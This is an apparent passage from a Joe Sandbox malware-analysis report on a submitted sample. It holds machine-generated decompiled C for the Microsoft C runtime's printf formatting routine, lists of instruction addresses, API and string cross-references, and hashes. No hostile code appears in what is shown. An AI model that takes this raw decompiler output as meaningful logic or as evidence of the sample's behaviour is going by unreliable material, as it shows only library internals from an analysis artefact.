																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L190;
																			}
																			L110:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041F590();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				goto L190;
																			} else {
																				L117:
																				 *((intOrPtr*)(L0041F530(__ecx))) = 0x16;
																				__eax = E0041F2C0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041EA10(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L153;
																		case 0xa:
																			L145:
																			 *(__ebp - 0x30) = 8;
																			goto L146;
																		case 0xb:
																			L90:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00420C00(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x43de98; // 0x4063f4
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				goto L108;
																			} else {
																				L94:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x43de9c; // 0x4063e4
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				goto L190;
																			}
																		case 0xc:
																			L144:
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 0xd:
																			L147:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L153;
																		case 0xe:
																			goto L190;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00430409
0x00430409
0x00430409
0x00430409
0x0043040f
0x00430412
0x00000000
0x0043048a
0x00000000
0x0043048a
0x00000000
0x0043048a
0x0043048a
0x00430492
0x004304b4
0x004304ba
0x004304df
0x00430526
0x00430529
0x0043054a
0x0043054f
0x00430554
0x0043055a
0x0043052b
0x0043052f
0x00430534
0x00430537
0x00430538
0x0043053e
0x0043053e
0x004304e1
0x004304e4
0x004304e7
0x00430509
0x0043050e
0x00430514
0x00430515
0x0043051b
0x004304e9
0x004304ed
0x004304f2
0x004304f6
0x004304f7
0x004304fd
0x004304fd
0x00430521
0x004304bc
0x004304c0
0x004304c5
0x004304c8
0x004304ce
0x004304ce
0x00430494
0x00430498
0x0043049d
0x004304a0
0x004304a6
0x004304a6
0x00430566
0x004305a8
0x004305ae
0x004305ba
0x00000000
0x00430568
0x00430568
0x00430568
0x0043056f
0x00000000
0x0043057c
0x0043057c
0x0043058a
0x0043058f
0x00430595
0x004305a3
0x004305c0
0x004305c8
0x004305ea
0x004305ea
0x004305f4
0x00430605
0x0043060f
0x00430611
0x00430611
0x004305f6
0x004305f6
0x004305f6
0x00430624
0x00430626
0x00430626
0x00430630
0x00430633
0x00430633
0x00430639
0x0043063c
0x00430641
0x00000000
0x00000000
0x00430651
0x00430654
0x0043065e
0x0043066d
0x00430676
0x0043068c
0x00430692
0x0043069f
0x004306ad
0x004306ad
0x004306bc
0x004306c4
0x004306c4
0x004306cc
0x004306d2
0x004306db
0x004306e7
0x00430700
0x00430706
0x0043070f
0x0043070f
0x00000000
0x00430712
0x00000000
0x00430712
0x00000000
0x00430712
0x00000000
0x00430712
0x00000000
0x00430712
0x00000000
0x00430712
0x00000000
0x00430712
0x00430712
0x00430712
0x00430716
0x004308fd
0x00430901
0x00430909
0x0043090e
0x00430911
0x00430911
0x00430918
0x00430918
0x0042f9ef
0x0042f9f5
0x0042fa02
0x0042fa07
0x00000000
0x0042fa1a
0x0042fa24
0x0042fa4b
0x0042fa32
0x0042fa43
0x0042fa43
0x0042fa24
0x0042fa55
0x0042fa5b
0x0042fa67
0x0042fa6a
0x0042fa78
0x0042fa7b
0x0042fa88
0x0042fb2d
0x0042fb33
0x0042fb40
0x00000000
0x00000000
0x0042fb46
0x0042fb4c
0x00000000
0x0042fb53
0x0042fb53
0x0042fb6b
0x0042fb70
0x0042fb75
0x0042fc2f
0x0042fc42
0x0042fc47
0x00000000
0x0042fb7b
0x0042fb8e
0x0042fb93
0x0042fb99
0x0042fb9b
0x0042fba4
0x0042fba7
0x0042fbb3
0x0042fbb7
0x0042fbbd
0x0042fbbf
0x0042fbc4
0x0042fbc6
0x0042fbcb
0x0042fbd0
0x0042fbd2
0x0042fbd7
0x0042fbdd
0x0042fbdf
0x0042fbdf
0x0042fbdd
0x0042fbe0
0x0042fbe7
0x00000000
0x0042fbe9
0x0042fbee
0x0042fc0a
0x0042fc12
0x0042fc1f
0x0042fc24
0x00000000
0x0042fc24
0x0042fbe7
0x00000000
0x0042fc4f
0x0042fc4f
0x0042fc56
0x0042fc59
0x0042fc5c
0x0042fc5f
0x0042fc62
0x0042fc65
0x0042fc68
0x0042fc6f
0x0042fc76
0x00000000
0x00000000
0x0042fc82
0x0042fc82
0x0042fc89
0x0042fc95
0x0042fc98
0x0042fca5
0x00000000
0x00000000
0x0042fca7
0x0042fca7
0x0042fcad
0x0042fcad
0x0042fcb4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042fcf7
0x0042fcf7
0x0042fd01
0x0042fd2b
0x0042fd2e
0x0042fd31
0x0042fd38
0x0042fd38
0x0042fd3c
0x0042fd03
0x0042fd03
0x0042fd0f
0x0042fd16
0x0042fd18
0x0042fd1b
0x0042fd1e
0x0042fd24
0x0042fd26
0x0042fd26
0x0042fd29
0x00000000
0x00000000
0x0042fd44
0x0042fd44
0x00000000
0x00000000
0x0042fd50
0x0042fd50
0x0042fd5a
0x0042fd7d
0x0042fd87
0x0042fd87
0x0042fd8b
0x0042fd5c
0x0042fd5c
0x0042fd68
0x0042fd6f
0x0042fd71
0x0042fd71
0x0042fd78
0x00000000
0x00000000
0x0042fd93
0x0042fd93
0x0042fd9a
0x0042fda6
0x0042fda9
0x0042fdb6
0x0042fec9
0x00000000
0x0042fec9
0x0042fdbc
0x0042fdbc
0x0042fdc2
0x0042fdc2
0x0042fdc9
0x00000000
0x0042fdff
0x0042fdff
0x0042fe02
0x0042fe08
0x0042fe30
0x0042fe30
0x0042fe33
0x0042fe39
0x0042fe5e
0x0042fe5e
0x0042fe61
0x0042fe67
0x0042fea0
0x0042feb1
0x00000000
0x0042feb1
0x0042fe69
0x0042fe69
0x0042fe6c
0x0042fe72
0x00000000
0x00000000
0x0042fe74
0x0042fe74
0x0042fe77
0x0042fe7d
0x00000000
0x00000000
0x0042fe7f
0x0042fe7f
0x0042fe82
0x0042fe88
0x00000000
0x00000000
0x0042fe8a
0x0042fe8a
0x0042fe8d
0x0042fe93
0x00000000
0x00000000
0x0042fe95
0x0042fe95
0x0042fe98
0x0042fe9e
0x0042fea2
0x0042fea2
0x00000000
0x0042fea2
0x00000000
0x0042fe9e
0x0042fe3b
0x0042fe3b
0x0042fe3e
0x0042fe45
0x00000000
0x00000000
0x0042fe47
0x0042fe4a
0x0042fe4d
0x0042fe50
0x0042fe53
0x0042fe59
0x00000000
0x0042fe59
0x0042fe0a
0x0042fe0a
0x0042fe0d
0x0042fe14
0x00000000
0x00000000
0x0042fe16
0x0042fe19
0x0042fe1c
0x0042fe1f
0x0042fe22
0x0042fe28
0x00000000
0x00000000
0x0042feb3
0x0042feb6
0x0042feb9
0x00000000
0x00000000
0x0042fdd0
0x0042fdd0
0x0042fdd3
0x0042fdd9
0x0042fdf1
0x0042fdf4
0x0042fdf7
0x0042fddb
0x0042fdde
0x0042fde1
0x0042fde7
0x0042fdec
0x0042fdec
0x00000000
0x00000000
0x0042febe
0x0042fec1
0x0042fec6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042fcd1
0x0042fcd4
0x0042fcd7
0x00000000
0x00000000
0x0042fcdc
0x0042fcdf
0x0042fce4
0x00000000
0x00000000
0x0042fcc6
0x0042fcc6
0x0042fcc9
0x0042fccc
0x00000000
0x00000000
0x0042fcbb
0x0042fcbe
0x0042fcc1
0x00000000
0x00000000
0x0042fce9
0x0042fce9
0x0042fcec
0x0042fcef
0x00000000
0x00000000
0x0042fcf2
0x00000000
0x00000000
0x0042fa8e
0x0042fa90
0x0042fa9e
0x0042fa92
0x0042fa92
0x0042fa92
0x0042faa8
0x0042faae
0x0042fabb
0x0042fabd
0x0042fac2
0x0042fac4
0x0042fac9
0x0042face
0x0042fad0
0x0042fad5
0x0042fadb
0x0042fadd
0x0042fadd
0x0042fadb
0x0042fade
0x0042fae5
0x00000000
0x0042fae7
0x0042faec
0x0042fb08
0x0042fb10
0x0042fb1d
0x0042fb22
0x004309e1
0x004309ee
0x004309ee
0x0042fae5
0x0042fa88
0x0043091d
0x00430924
0x0043093b
0x0043092f
0x0043092f
0x0043092f
0x00430945
0x0043094b
0x00430958
0x0043095a
0x0043095f
0x00430961
0x00430966
0x0043096b
0x0043096d
0x00430972
0x00430978
0x0043097a
0x0043097a
0x00430978
0x00430982
0x004309cd
0x004309d6
0x004309db
0x00430984
0x00430989
0x004309a5
0x004309ad
0x004309ba
0x004309bf
0x004309bf
0x00000000
0x00430982
0x0043071c
0x00430722
0x0043072c
0x00430741
0x00430756
0x00430758
0x0043075c
0x0043075c
0x00430743
0x00430743
0x00430747
0x00430747
0x0043072e
0x0043072e
0x00430732
0x00430732
0x0043072c
0x0043076c
0x00430778
0x0043078e
0x00430793
0x00430793
0x004307a9
0x004307ae
0x004307b7
0x004307d5
0x004307da
0x004307da
0x004307e1
0x004308b5
0x004308c8
0x004308cd
0x00000000
0x004307f1
0x004307f1
0x004307f1
0x004307fe
0x00430807
0x0043080d
0x0043080d
0x0043081c
0x00430824
0x00000000
0x00000000
0x0043082a
0x00430833
0x00430852
0x00430857
0x0043085a
0x00430869
0x00430876
0x00430881
0x00430881
0x00000000
0x0043088d
0x0043088d
0x004308a6
0x004308ab
0x00000000
0x004308ab
0x00430876
0x004308b3
0x004308d0
0x004308d7
0x004308f5
0x004308fa
0x004308fa
0x00000000
0x004308d7
0x0042fece
0x0042fece
0x0042fed5
0x0042fedb
0x0042fee1
0x0042fee4
0x0042feea
0x0042fefd
0x0042fefd
0x0042ff04
0x00000000
0x0043025e
0x0043025e
0x00430265
0x0043026c
0x0043026f
0x00000000
0x00000000
0x0042ff0b
0x0042ff0e
0x0042ff14
0x0042ff19
0x0042ff1e
0x0042ff1e
0x00000000
0x00000000
0x0043004b
0x0043004e
0x00430053
0x00430058
0x0043005e
0x0043005e
0x00000000
0x00000000
0x0043042b
0x0043042b
0x00000000
0x00000000
0x0042ffb5
0x0042ffb5
0x0042ffc1
0x0042ffce
0x0042ffdc
0x0042ffdc
0x0042ffe2
0x0042ffe5
0x0042fff1
0x00430046
0x00000000
0x00430046
0x0042ffd0
0x0042ffd0
0x0042ffda
0x0042fff6
0x0042fff9
0x0042ffff
0x00430027
0x0043002e
0x00430034
0x00430037
0x0043003a
0x00430040
0x00430043
0x00430001
0x00430001
0x00430007
0x0043000a
0x0043000d
0x00430013
0x00430016
0x00430019
0x0043001b
0x0043001e
0x0043001e
0x00000000
0x0042ffff
0x00000000
0x00000000
0x00430275
0x00430278
0x0043027b
0x0043027e
0x00430284
0x00430287
0x00430292
0x0043029d
0x004302a1
0x004302b8
0x004302bf
0x004302c1
0x004302c1
0x004302c8
0x004302cf
0x004302e0
0x004302ef
0x004302f6
0x0043030c
0x004302f8
0x004302f8
0x004302fb
0x00430301
0x00430307
0x00430307
0x004302f6
0x00430316
0x00430319
0x0043031c
0x0043031f
0x00430322
0x00430325
0x0043032b
0x00430331
0x00430339
0x0043033a
0x0043033d
0x0043033e
0x00430341
0x00430342
0x00430349
0x0043034a
0x0043034d
0x0043034e
0x00430351
0x00430352
0x00430358
0x00430359
0x00430367
0x00430369
0x0043036f
0x00430375
0x0043037d
0x00430385
0x00430386
0x00430389
0x0043038a
0x00430398
0x0043039a
0x0043039a
0x0043039d
0x004303a7
0x004303ac
0x004303b2
0x004303b4
0x004303bc
0x004303bd
0x004303c0
0x004303c1
0x004303d0
0x004303d2
0x004303d2
0x004303b2
0x004303d5
0x004303d8
0x004303de
0x004303e3
0x004303e9
0x004303ef
0x004303f2
0x004303f2
0x004303f5
0x00430401
0x00000000
0x00430401
0x004302a3
0x004302a3
0x004302ad
0x00000000
0x00000000
0x004302af
0x004302af
0x00000000
0x004302af
0x00430294
0x00430294
0x00000000
0x00000000
0x0042ff21
0x0042ff24
0x0042ff2a
0x0042ff85
0x0042ff8d
0x0042ff94
0x0042ff9a
0x0042ffa0
0x0042ff2c
0x0042ff2c
0x0042ff36
0x0042ff3a
0x0042ff42
0x0042ff49
0x0042ff56
0x0042ff5d
0x0042ff69
0x0042ff76
0x0042ff78
0x0042ff78
0x0042ff7f
0x0042ffa7
0x0042ffad
0x00000000
0x00000000
0x00000000
0x00000000
0x00430167
0x00430167
0x00430173
0x00430180
0x0043022a
0x0043022d
0x00430230
0x00430244
0x0043024a
0x00430250
0x00430232
0x00430232
0x0043023f
0x0043023f
0x00430252
0x00000000
0x00430252
0x00430186
0x00430186
0x00430188
0x00430196
0x0043018a
0x0043018a
0x0043018a
0x004301a0
0x004301a6
0x004301b3
0x004301b5
0x004301ba
0x004301bc
0x004301c1
0x004301c6
0x004301c8
0x004301cd
0x004301d3
0x004301d5
0x004301d5
0x004301d3
0x004301dd
0x00430225
0x00000000
0x004301df
0x004301df
0x004301e4
0x00430200
0x00430208
0x00430212
0x00430215
0x0043021a
0x00000000
0x0043021a
0x00000000
0x0043046c
0x0043046c
0x00430476
0x0043047c
0x00430481
0x00430487
0x00430487
0x00000000
0x00000000
0x00430424
0x00430424
0x00000000
0x00000000
0x00430061
0x00430065
0x00430073
0x00430076
0x00430067
0x00430067
0x00430067
0x0043007c
0x00430082
0x00430088
0x00430094
0x0043009a
0x004300a0
0x00430107
0x0043010b
0x0043010d
0x00430113
0x00430113
0x00430116
0x00430119
0x0043011f
0x0043011f
0x0043011f
0x0043012b
0x0043012e
0x00430136
0x00000000
0x00000000
0x00430138
0x00430138
0x0043013e
0x00430143
0x00000000
0x00000000
0x00430145
0x0043014b
0x0043014e
0x0043014e
0x00430156
0x0043015c
0x0043015f
0x00000000
0x004300a2
0x004300a2
0x004300a6
0x004300a8
0x004300ad
0x004300ad
0x004300b0
0x004300b7
0x004300ba
0x004300c0
0x004300c0
0x004300c0
0x004300cc
0x004300cf
0x004300d7
0x00000000
0x00000000
0x004300d9
0x004300d9
0x004300df
0x004300e4
0x00000000
0x00000000
0x004300e6
0x004300ec
0x004300ef
0x004300ef
0x004300f7
0x004300fd
0x00430100
0x00430102
0x00430162
0x00000000
0x00430162
0x00000000
0x0043041b
0x0043041b
0x00000000
0x00000000
0x00430437
0x00430437
0x00430441
0x00430441
0x0043044b
0x00430451
0x00430453
0x0043045d
0x00430460
0x00430463
0x00430463
0x00000000
0x00000000
0x00000000
0x00000000
0x0042ff04
0x00430712
0x00430712
0x00430712
0x00430712
0x00430712
0x00430712
0x00430712
0x0043056f
0x00430566
0x0043048a
0x0043048a
0x0043048a

APIs

_get_int64_arg.LIBCMTD ref: 00430498
_get_int64_arg.LIBCMTD ref: 004304C0
__aullrem.LIBCMT ref: 00430665
__aulldiv.LIBCMT ref: 00430687
_write_multi_char.LIBCMTD ref: 0043078E
_write_string.LIBCMTD ref: 004307A9
_write_multi_char.LIBCMTD ref: 004307D5
_wctomb_s.LIBCMTD ref: 00430852

Strings

9, xrefs: 00430698
-, xrefs: 0043072E
_output_s_l, xrefs: 0042FAFE
("Incorrect format specifier", 0), xrefs: 0042FABD, 0042FB03
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0042FAC9, 0042FAF9

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3451365851-3266125857
Opcode ID: b3c936d5960fcb5bf0bba7eae8f6a43c8424c5631d4b2d54b1690631b3581d2c
Instruction ID: a7e5e30b87803cc5292d0ed879f99798ba382eea0895d85c56a555ab3c793809
Opcode Fuzzy Hash: b3c936d5960fcb5bf0bba7eae8f6a43c8424c5631d4b2d54b1690631b3581d2c
Instruction Fuzzy Hash: C5F14CB1D012299FDB24CF58CC99BEEB7B5BB48304F1492DAD419A7281D7389E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042174B, Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 365
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0042174B(signed int __edx) {
				signed int _t485;
				signed int _t504;
				void* _t509;
				signed int _t511;
				void* _t519;
				void* _t537;
				intOrPtr _t541;
				signed int _t558;
				signed short _t559;
				signed int _t562;
				signed int _t565;
				signed int _t566;
				void* _t567;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t644;
				signed int _t671;
				void* _t672;
				void* _t673;
				signed int _t674;
				void* _t676;
				void* _t677;
				signed int _t683;

				L0:
				while(1) {
					L0:
					_t621 = __edx;
					 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000040;
					 *(_t674 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t674 - 0x10) & 0x00008000) == 0) {
									_t623 =  *(_t674 - 0x10) & 0x00001000;
									if(_t623 == 0) {
										if(( *(_t674 - 0x10) & 0x00000020) == 0) {
											_t625 =  *(_t674 - 0x10) & 0x00000040;
											if(_t625 == 0) {
												_t485 = E00420C00(_t674 + 0x14);
												_t677 = _t676 + 4;
												 *(_t674 - 0x4a0) = _t485;
												 *(_t674 - 0x49c) = 0;
											} else {
												_t558 = E00420C00(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t558;
												 *(_t674 - 0x49c) = _t625;
											}
										} else {
											_t671 =  *(_t674 - 0x10) & 0x00000040;
											if(_t671 == 0) {
												_t559 = E00420C00(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t559 & 0x0000ffff;
												 *(_t674 - 0x49c) = _t671;
											} else {
												_t562 = E00420C00(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t562;
												 *(_t674 - 0x49c) = _t671;
											}
										}
									} else {
										_t565 = E00420C20(_t674 + 0x14);
										_t677 = _t676 + 4;
										 *(_t674 - 0x4a0) = _t565;
										 *(_t674 - 0x49c) = _t623;
									}
								} else {
									_t566 = E00420C20(_t674 + 0x14);
									_t677 = _t676 + 4;
									 *(_t674 - 0x4a0) = _t566;
									 *(_t674 - 0x49c) = _t621;
								}
								if(( *(_t674 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t674 - 0x4a8) =  *(_t674 - 0x4a0);
									 *(_t674 - 0x4a4) =  *(_t674 - 0x49c);
									goto L168;
								} else {
									L163:
									_t683 =  *(_t674 - 0x49c);
									if(_t683 > 0 || _t683 >= 0 &&  *(_t674 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
										 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
										 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
										L168:
										if(( *(_t674 - 0x10) & 0x00008000) == 0 && ( *(_t674 - 0x10) & 0x00001000) == 0) {
											 *(_t674 - 0x4a4) =  *(_t674 - 0x4a4) & 0x00000000;
										}
										if( *(_t674 - 0x30) >= 0) {
											 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
											if( *(_t674 - 0x30) > 0x200) {
												 *(_t674 - 0x30) = 0x200;
											}
										} else {
											 *(_t674 - 0x30) = 1;
										}
										if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
											 *(_t674 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
										while(1) {
											L178:
											_t631 =  *(_t674 - 0x30) - 1;
											 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
											if( *(_t674 - 0x30) <= 0 && ( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t632 =  *(_t674 - 0x4a8);
											 *((intOrPtr*)(_t674 - 0x494)) = E0042F370(_t632,  *(_t674 - 0x4a4),  *(_t674 - 8), _t631) + 0x30;
											asm("cdq");
											 *(_t674 - 0x4a8) = E0042F300( *(_t674 - 0x4a8),  *(_t674 - 0x4a4),  *(_t674 - 8), _t632);
											 *(_t674 - 0x4a4) = _t632;
											if( *((intOrPtr*)(_t674 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t674 - 0x494)) =  *((intOrPtr*)(_t674 - 0x494)) +  *((intOrPtr*)(_t674 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) =  *((intOrPtr*)(_t674 - 0x494));
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t674 - 0x24)) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
										 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
										if(( *(_t674 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t674 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t674 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) = 0x30;
											 *((intOrPtr*)(_t674 - 0x24)) =  *((intOrPtr*)(_t674 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t674 - 0x28)) != 0) {
																			L212:
																			if( *(_t674 - 0x20) != 0) {
																				L0041D8B0( *(_t674 - 0x20), 2);
																				_t677 = _t677 + 8;
																				 *(_t674 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
																				 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
																				_t580 =  *(_t674 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
																				if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t674 - 0x4d8) = 0;
																					} else {
																						 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) + 0x4065b0) & 0xf;
																					}
																				}
																				L7:
																				 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
																				_t644 =  *(_t674 - 0x450) * 9;
																				_t511 =  *(_t674 - 0x45c);
																				_t588 = ( *(_t644 + _t511 + 0x4065d0) & 0x000000ff) >> 4;
																				 *(_t674 - 0x45c) = ( *(_t644 + _t511 + 0x4065d0) & 0x000000ff) >> 4;
																				if( *(_t674 - 0x45c) != 8) {
																					L16:
																					 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
																					if( *(_t674 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M00421D34))) {
																						case 0:
																							L18:
																							 *(_t674 - 0xc) = 1;
																							E00420AD0( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																							_t677 = _t677 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t59 =  *(__ebp - 0x4e4) + 0x421d6c; // 0x498d04
																							__ecx =  *_t59 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M00421D54))) {
																								case 0:
